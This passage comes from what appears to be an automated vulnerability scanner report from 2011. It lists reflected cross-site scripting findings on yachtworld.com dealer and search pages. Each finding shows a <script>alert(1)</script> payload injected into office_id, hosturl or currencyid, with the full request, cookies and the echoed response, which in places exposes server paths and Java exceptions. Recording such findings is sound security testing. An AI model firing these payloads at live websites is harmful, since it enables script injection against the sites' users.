ED**-2266476%2FDestin%2FFL%2FUnited-States; savedSearch0=man%3Dregulator%26is%3Dfalse%26type%3D%26luom%3D126%26fromLength%3D24%26toLength%3D32%26fromYear%3D2004%26toYear%3D%26pricderange%3DSelect%2520Price%2520Range%26Ntt%3D%26fromPrice%3D0%26toPrice%3D%26searchtype%3Dhomepage%26cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26Ntk%3DboatsEN%26currencyid%3D100; s_pers=%20s_nr%3D1296156328837%7C1298748328837%3B%20s_lv%3D1296156328839%7C1390764328839%3B%20s_lv_s%3DFirst%2520Visit%7C1296158128839%3B; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; yw_locale2=en_US; __utma=1.2048642607.1296155952.1296155952.1296155952.1; __utmc=1; __utmb=1.26.10.1296155952;
Response
HTTP/1.0 200 OK Date: Thu, 27 Jan 2011 20:35:37 GMT Server: Apache Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Connection: close Content-Type: text/html; charset=ISO-8859-1
The value of the office_id request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 404b5"><script>alert(1)</script>1ff428848d9 was submitted in the office_id parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /legendary/email.cgi?url=legendary&office_id=75325404b5"><script>alert(1)</script>1ff428848d9&boat_id=2266476 HTTP/1.1 Host: www.yachtworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=1.1296155952.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_sess=%20s_cc%3Dtrue%3B%20s_evar22%3D2%253A15PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B%20ev4%3Dno%2520search%2520phrase%2520entered%3B%20ev5%3Dregulator%3B%20ev6%3Dused%3B%20ev7%3Dno%2520search%2520phrase%2520entered%3B%20ev8%3D24%2527-32%2527%3B%20ev9%3D%253E2004%3B%20ev10%3Dno%2520search%2520phrase%2520entered%3B%20ev11%3Dno%2520search%2520phrase%2520entered%3B%20ev12%3Dno%2520search%2520phrase%2520entered%3B%20ev13%3Dno%2520search%2520phrase%2520entered%3B%20ev14%3Dno%2520search%2520phrase%2520entered%3B%20ev15%3Dno%2520search%2520phrase%2520entered%3B%20ev16%3Dno%2520search%2520phrase%2520entered%3B%20ev17%3Dunited%2520states%3B%20ev18%3Dno%2520search%2520phrase%2520entered%3B%20s_sq%3D%3B; savedLabel0=24-32%20ft,regulator,Used,2004; yw_c_id=5778232892790151794; savedLabel1=24-32%20ft%2Cregulator%2C%09Used%2C2004%2C0%20US%20Dollars%2CUnited%20States; latestSavedSearches=1_0_; savedSearch1=cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26searchtype%3Dadvancedsearch%26Ntk%3DboatsEN%26Ntt%3D%26is%3Dfalse%26man%3Dregulator%26hmid%3D0%26ftid%3D0%26enid%3D0%26fromLength%3D24%26toLength%3D32%26luom%3D126%26fromYear%3D2004%26toYear%3D%26fromPrice%3D0%26toPrice%3D%26currencyid%3D100%26city%3D%26rid%3D%26cint%3D100%26pbsint%3D%26boatsAddedSelected%3D-1; VIEWED_BOATS_STORE=2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; savedSearch0=man%3Dregulator%26is%3Dfalse%26type%3D%26luom%3D126%26fromLength%3D24%26toLength%3D32%26fromYear%3D2004%26toYear%3D%26pricderange%3DSelect%2520Price%2520Range%26Ntt%3D%26fromPrice%3D0%26toPrice%3D%26searchtype%3Dhomepage%26cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26Ntk%3DboatsEN%26currencyid%3D100; s_pers=%20s_nr%3D1296156328837%7C1298748328837%3B%20s_lv%3D1296156328839%7C1390764328839%3B%20s_lv_s%3DFirst%2520Visit%7C1296158128839%3B; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; yw_locale2=en_US; __utma=1.2048642607.1296155952.1296155952.1296155952.1; __utmc=1; __utmb=1.26.10.1296155952;
Response
HTTP/1.0 200 OK Date: Thu, 27 Jan 2011 20:44:24 GMT Server: Apache Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Connection: close Content-Type: text/html; charset=ISO-8859-1
<!-- this file is generated automatically --> <!-- any changes you make will be written over --> <html> <head> <TITLE>Legendary Marine (Destin, FL)</TITLE> <META name="keywords" content="clas ...[SNIP]... <INPUT TYPE="hidden" NAME="office_id" VALUE="75325404b5"><script>alert(1)</script>1ff428848d9"> ...[SNIP]...
The value of the office_id request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 3b505"><script>alert(1)</script>a9943a9655e was submitted in the office_id parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /marinemaxcarolinas/email.cgi?url=marinemaxcarolinas&office_id=353403b505"><script>alert(1)</script>a9943a9655e HTTP/1.1 Host: www.yachtworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=1.1296155952.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_sess=%20s_cc%3Dtrue%3B%20s_evar22%3D2%253A15PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B%20ev4%3Dno%2520search%2520phrase%2520entered%3B%20ev5%3Dregulator%3B%20ev6%3Dused%3B%20ev7%3Dno%2520search%2520phrase%2520entered%3B%20ev8%3D24%2527-32%2527%3B%20ev9%3D%253E2004%3B%20ev10%3Dno%2520search%2520phrase%2520entered%3B%20ev11%3Dno%2520search%2520phrase%2520entered%3B%20ev12%3Dno%2520search%2520phrase%2520entered%3B%20ev13%3Dno%2520search%2520phrase%2520entered%3B%20ev14%3Dno%2520search%2520phrase%2520entered%3B%20ev15%3Dno%2520search%2520phrase%2520entered%3B%20ev16%3Dno%2520search%2520phrase%2520entered%3B%20ev17%3Dunited%2520states%3B%20ev18%3Dno%2520search%2520phrase%2520entered%3B%20s_sq%3D%3B; savedLabel0=24-32%20ft,regulator,Used,2004; yw_c_id=5778232892790151794; savedLabel1=24-32%20ft%2Cregulator%2C%09Used%2C2004%2C0%20US%20Dollars%2CUnited%20States; latestSavedSearches=1_0_; savedSearch1=cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26searchtype%3Dadvancedsearch%26Ntk%3DboatsEN%26Ntt%3D%26is%3Dfalse%26man%3Dregulator%26hmid%3D0%26ftid%3D0%26enid%3D0%26fromLength%3D24%26toLength%3D32%26luom%3D126%26fromYear%3D2004%26toYear%3D%26fromPrice%3D0%26toPrice%3D%26currencyid%3D100%26city%3D%26rid%3D%26cint%3D100%26pbsint%3D%26boatsAddedSelected%3D-1; VIEWED_BOATS_STORE=2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; savedSearch0=man%3Dregulator%26is%3Dfalse%26type%3D%26luom%3D126%26fromLength%3D24%26toLength%3D32%26fromYear%3D2004%26toYear%3D%26pricderange%3DSelect%2520Price%2520Range%26Ntt%3D%26fromPrice%3D0%26toPrice%3D%26searchtype%3Dhomepage%26cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26Ntk%3DboatsEN%26currencyid%3D100; s_pers=%20s_nr%3D1296156328837%7C1298748328837%3B%20s_lv%3D1296156328839%7C1390764328839%3B%20s_lv_s%3DFirst%2520Visit%7C1296158128839%3B; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; yw_locale2=en_US; __utma=1.2048642607.1296155952.1296155952.1296155952.1; __utmc=1; __utmb=1.26.10.1296155952;
Response
HTTP/1.0 200 OK Date: Thu, 27 Jan 2011 20:47:17 GMT Server: Apache Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Connection: close Content-Type: text/html; charset=ISO-8859-1
<!-- this file is generated automatically --> <!-- any changes you make will be written over --> <html> <head> <TITLE>MarineMax Of The Carolinas (Wrightsville Beach, NC)</TITLE> <META name="k ...[SNIP]... <INPUT TYPE="hidden" NAME="office_id" VALUE="353403b505"><script>alert(1)</script>a9943a9655e"> ...[SNIP]...
The value of the hosturl request parameter is copied into the HTML document as plain text between tags. The payload 1c98a<script>alert(1)</script>f8b5e352cd0 was submitted in the hosturl parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Request
GET /marinemaxcarolinas/marinemaxcarolinas_2.cgi?company=marinemaxcarolinas&limit=50&type=&new=&units=Feet&hosturl=marinemaxcarolinas1c98a<script>alert(1)</script>f8b5e352cd0&page=broker HTTP/1.1 Host: www.yachtworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=1.1296155952.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_sess=%20s_cc%3Dtrue%3B%20s_evar22%3D2%253A15PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B%20ev4%3Dno%2520search%2520phrase%2520entered%3B%20ev5%3Dregulator%3B%20ev6%3Dused%3B%20ev7%3Dno%2520search%2520phrase%2520entered%3B%20ev8%3D24%2527-32%2527%3B%20ev9%3D%253E2004%3B%20ev10%3Dno%2520search%2520phrase%2520entered%3B%20ev11%3Dno%2520search%2520phrase%2520entered%3B%20ev12%3Dno%2520search%2520phrase%2520entered%3B%20ev13%3Dno%2520search%2520phrase%2520entered%3B%20ev14%3Dno%2520search%2520phrase%2520entered%3B%20ev15%3Dno%2520search%2520phrase%2520entered%3B%20ev16%3Dno%2520search%2520phrase%2520entered%3B%20ev17%3Dunited%2520states%3B%20ev18%3Dno%2520search%2520phrase%2520entered%3B%20s_sq%3D%3B; savedLabel0=24-32%20ft,regulator,Used,2004; yw_c_id=5778232892790151794; savedLabel1=24-32%20ft%2Cregulator%2C%09Used%2C2004%2C0%20US%20Dollars%2CUnited%20States; latestSavedSearches=1_0_; savedSearch1=cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26searchtype%3Dadvancedsearch%26Ntk%3DboatsEN%26Ntt%3D%26is%3Dfalse%26man%3Dregulator%26hmid%3D0%26ftid%3D0%26enid%3D0%26fromLength%3D24%26toLength%3D32%26luom%3D126%26fromYear%3D2004%26toYear%3D%26fromPrice%3D0%26toPrice%3D%26currencyid%3D100%26city%3D%26rid%3D%26cint%3D100%26pbsint%3D%26boatsAddedSelected%3D-1; VIEWED_BOATS_STORE=2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; savedSearch0=man%3Dregulator%26is%3Dfalse%26type%3D%26luom%3D126%26fromLength%3D24%26toLength%3D32%26fromYear%3D2004%26toYear%3D%26pricderange%3DSelect%2520Price%2520Range%26Ntt%3D%26fromPrice%3D0%26toPrice%3D%26searchtype%3Dhomepage%26cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26Ntk%3DboatsEN%26currencyid%3D100; s_pers=%20s_nr%3D1296156328837%7C1298748328837%3B%20s_lv%3D1296156328839%7C1390764328839%3B%20s_lv_s%3DFirst%2520Visit%7C1296158128839%3B; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; yw_locale2=en_US; __utma=1.2048642607.1296155952.1296155952.1296155952.1; __utmc=1; __utmb=1.26.10.1296155952;
Response (redirected)
HTTP/1.0 200 OK Date: Thu, 27 Jan 2011 20:47:19 GMT Server: Apache Cache-Control: private Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Connection: close Content-Type: text/html; charset=utf-8
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<!-- /opt/weblogic/waeyw/ywcluster/public_html/broker_pages/marinemaxcarolinas1 ...[SNIP]... </script>f8b5e352cd0/boats.footer.html:--> Exception while reading the file:/opt/weblogic/waeyw/ywcluster/public_html/broker_pages/marinemaxcarolinas1c98a<script>alert(1)</script>f8b5e352cd0/boats.header.html exception is java.io.FileNotFoundException: /opt/weblogic/waeyw/ywcluster/public_html/broker_pages/marinemaxcarolinas1c98a<script> ...[SNIP]...
The value of the hosturl request parameter is copied into an HTML comment. The payload 1b6af--><script>alert(1)</script>3a8b21c180e was submitted in the hosturl parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.
Request
GET /marinemaxcarolinas/marinemaxcarolinas_2.cgi?company=marinemaxcarolinas&limit=50&type=&new=&units=Feet&hosturl=marinemaxcarolinas1b6af--><script>alert(1)</script>3a8b21c180e&page=broker HTTP/1.1 Host: www.yachtworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=1.1296155952.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_sess=%20s_cc%3Dtrue%3B%20s_evar22%3D2%253A15PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B%20ev4%3Dno%2520search%2520phrase%2520entered%3B%20ev5%3Dregulator%3B%20ev6%3Dused%3B%20ev7%3Dno%2520search%2520phrase%2520entered%3B%20ev8%3D24%2527-32%2527%3B%20ev9%3D%253E2004%3B%20ev10%3Dno%2520search%2520phrase%2520entered%3B%20ev11%3Dno%2520search%2520phrase%2520entered%3B%20ev12%3Dno%2520search%2520phrase%2520entered%3B%20ev13%3Dno%2520search%2520phrase%2520entered%3B%20ev14%3Dno%2520search%2520phrase%2520entered%3B%20ev15%3Dno%2520search%2520phrase%2520entered%3B%20ev16%3Dno%2520search%2520phrase%2520entered%3B%20ev17%3Dunited%2520states%3B%20ev18%3Dno%2520search%2520phrase%2520entered%3B%20s_sq%3D%3B; savedLabel0=24-32%20ft,regulator,Used,2004; yw_c_id=5778232892790151794; savedLabel1=24-32%20ft%2Cregulator%2C%09Used%2C2004%2C0%20US%20Dollars%2CUnited%20States; latestSavedSearches=1_0_; savedSearch1=cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26searchtype%3Dadvancedsearch%26Ntk%3DboatsEN%26Ntt%3D%26is%3Dfalse%26man%3Dregulator%26hmid%3D0%26ftid%3D0%26enid%3D0%26fromLength%3D24%26toLength%3D32%26luom%3D126%26fromYear%3D2004%26toYear%3D%26fromPrice%3D0%26toPrice%3D%26currencyid%3D100%26city%3D%26rid%3D%26cint%3D100%26pbsint%3D%26boatsAddedSelected%3D-1; VIEWED_BOATS_STORE=2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; savedSearch0=man%3Dregulator%26is%3Dfalse%26type%3D%26luom%3D126%26fromLength%3D24%26toLength%3D32%26fromYear%3D2004%26toYear%3D%26pricderange%3DSelect%2520Price%2520Range%26Ntt%3D%26fromPrice%3D0%26toPrice%3D%26searchtype%3Dhomepage%26cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26Ntk%3DboatsEN%26currencyid%3D100; s_pers=%20s_nr%3D1296156328837%7C1298748328837%3B%20s_lv%3D1296156328839%7C1390764328839%3B%20s_lv_s%3DFirst%2520Visit%7C1296158128839%3B; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; yw_locale2=en_US; __utma=1.2048642607.1296155952.1296155952.1296155952.1; __utmc=1; __utmb=1.26.10.1296155952;
Response (redirected)
HTTP/1.0 200 OK Date: Thu, 27 Jan 2011 20:47:25 GMT Server: Apache Cache-Control: private Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Connection: close Content-Type: text/html; charset=utf-8
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
The value of the currencyid request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 37b44"><script>alert(1)</script>01b74b349bb was submitted in the currencyid parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /privatelabel/listing/cache/pl_search_results.jsp?ps=50&slim=pp279757&uom=126&sm=3&duom=126&wuom=126¤cyid=10037b44"><script>alert(1)</script>01b74b349bb&luom=126&ps=50&searchPage=%2Flisting%2Fcache%2Fboats_for_sale_qs.jsp&so=2&slim=pp279757¤cy=USD&units=Feet¤cyid=100& HTTP/1.1 Host: www.yachtworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=1.1296155952.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_sess=%20s_cc%3Dtrue%3B%20s_evar22%3D2%253A15PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B%20ev4%3Dno%2520search%2520phrase%2520entered%3B%20ev5%3Dregulator%3B%20ev6%3Dused%3B%20ev7%3Dno%2520search%2520phrase%2520entered%3B%20ev8%3D24%2527-32%2527%3B%20ev9%3D%253E2004%3B%20ev10%3Dno%2520search%2520phrase%2520entered%3B%20ev11%3Dno%2520search%2520phrase%2520entered%3B%20ev12%3Dno%2520search%2520phrase%2520entered%3B%20ev13%3Dno%2520search%2520phrase%2520entered%3B%20ev14%3Dno%2520search%2520phrase%2520entered%3B%20ev15%3Dno%2520search%2520phrase%2520entered%3B%20ev16%3Dno%2520search%2520phrase%2520entered%3B%20ev17%3Dunited%2520states%3B%20ev18%3Dno%2520search%2520phrase%2520entered%3B%20s_sq%3D%3B; savedLabel0=24-32%20ft,regulator,Used,2004; yw_c_id=5778232892790151794; savedLabel1=24-32%20ft%2Cregulator%2C%09Used%2C2004%2C0%20US%20Dollars%2CUnited%20States; latestSavedSearches=1_0_; savedSearch1=cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26searchtype%3Dadvancedsearch%26Ntk%3DboatsEN%26Ntt%3D%26is%3Dfalse%26man%3Dregulator%26hmid%3D0%26ftid%3D0%26enid%3D0%26fromLength%3D24%26toLength%3D32%26luom%3D126%26fromYear%3D2004%26toYear%3D%26fromPrice%3D0%26toPrice%3D%26currencyid%3D100%26city%3D%26rid%3D%26cint%3D100%26pbsint%3D%26boatsAddedSelected%3D-1; VIEWED_BOATS_STORE=2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; savedSearch0=man%3Dregulator%26is%3Dfalse%26type%3D%26luom%3D126%26fromLength%3D24%26toLength%3D32%26fromYear%3D2004%26toYear%3D%26pricderange%3DSelect%2520Price%2520Range%26Ntt%3D%26fromPrice%3D0%26toPrice%3D%26searchtype%3Dhomepage%26cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26Ntk%3DboatsEN%26currencyid%3D100; s_pers=%20s_nr%3D1296156328837%7C1298748328837%3B%20s_lv%3D1296156328839%7C1390764328839%3B%20s_lv_s%3DFirst%2520Visit%7C1296158128839%3B; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; yw_locale2=en_US; __utma=1.2048642607.1296155952.1296155952.1296155952.1; __utmc=1; __utmb=1.26.10.1296155952;
Response
HTTP/1.0 200 OK Date: Thu, 27 Jan 2011 20:03:47 GMT Server: Apache Cache-Control: private Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Connection: close Content-Type: text/html; charset=utf-8
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
